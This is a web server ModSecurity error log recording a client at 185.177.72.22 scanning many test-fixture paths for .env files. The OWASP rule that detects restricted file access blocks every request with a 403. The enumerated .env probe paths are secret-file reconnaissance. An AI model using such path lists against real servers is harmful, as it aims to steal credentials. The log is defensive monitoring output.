[Thu Feb 26 01:03:21.098531 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/sidetree-mock/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl6gAAAAI&quot;]
[Thu Feb 26 01:03:21.098763 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl6gAAAAI&quot;]
[Thu Feb 26 01:03:21.098912 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl6gAAAAI&quot;]
[Thu Feb 26 01:03:21.128014 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIUQAAAAQ&quot;]
[Thu Feb 26 01:03:21.128283 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIUQAAAAQ&quot;]
[Thu Feb 26 01:03:21.128463 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIUQAAAAQ&quot;]
[Thu Feb 26 01:03:21.140491 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/universalresolver/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl6wAAAAI&quot;]
[Thu Feb 26 01:03:21.140751 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl6wAAAAI&quot;]
[Thu Feb 26 01:03:21.140926 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl6wAAAAI&quot;]
[Thu Feb 26 01:03:21.155802 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/demo/openapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIUgAAAAQ&quot;]
[Thu Feb 26 01:03:21.156045 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIUgAAAAQ&quot;]
[Thu Feb 26 01:03:21.156199 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIUgAAAAQ&quot;]
[Thu Feb 26 01:03:21.183313 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/did-method-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIUwAAAAQ&quot;]
[Thu Feb 26 01:03:21.183567 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIUwAAAAQ&quot;]
[Thu Feb 26 01:03:21.183748 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIUwAAAAQ&quot;]
[Thu Feb 26 01:03:21.186971 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/vc-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl7AAAAAI&quot;]
[Thu Feb 26 01:03:21.187219 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl7AAAAAI&quot;]
[Thu Feb 26 01:03:21.187392 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl7AAAAAI&quot;]
[Thu Feb 26 01:03:21.223553 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/did-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIVAAAAAQ&quot;]
[Thu Feb 26 01:03:21.223840 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIVAAAAAQ&quot;]
[Thu Feb 26 01:03:21.224008 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIVAAAAAQ&quot;]
[Thu Feb 26 01:03:21.231257 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl7QAAAAI&quot;]
[Thu Feb 26 01:03:21.231497 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl7QAAAAI&quot;]
[Thu Feb 26 01:03:21.231655 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl7QAAAAI&quot;]
[Thu Feb 26 01:03:21.259059 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/edv-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIVQAAAAQ&quot;]
[Thu Feb 26 01:03:21.259320 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIVQAAAAQ&quot;]
[Thu Feb 26 01:03:21.261162 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIVQAAAAQ&quot;]
[Thu Feb 26 01:03:21.263538 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/app_types/node/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl7gAAAAI&quot;]
[Thu Feb 26 01:03:21.263864 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl7gAAAAI&quot;]
[Thu Feb 26 01:03:21.264052 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl7gAAAAI&quot;]
[Thu Feb 26 01:03:21.288716 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/app_types/rails/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl7wAAAAI&quot;]
[Thu Feb 26 01:03:21.288941 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl7wAAAAI&quot;]
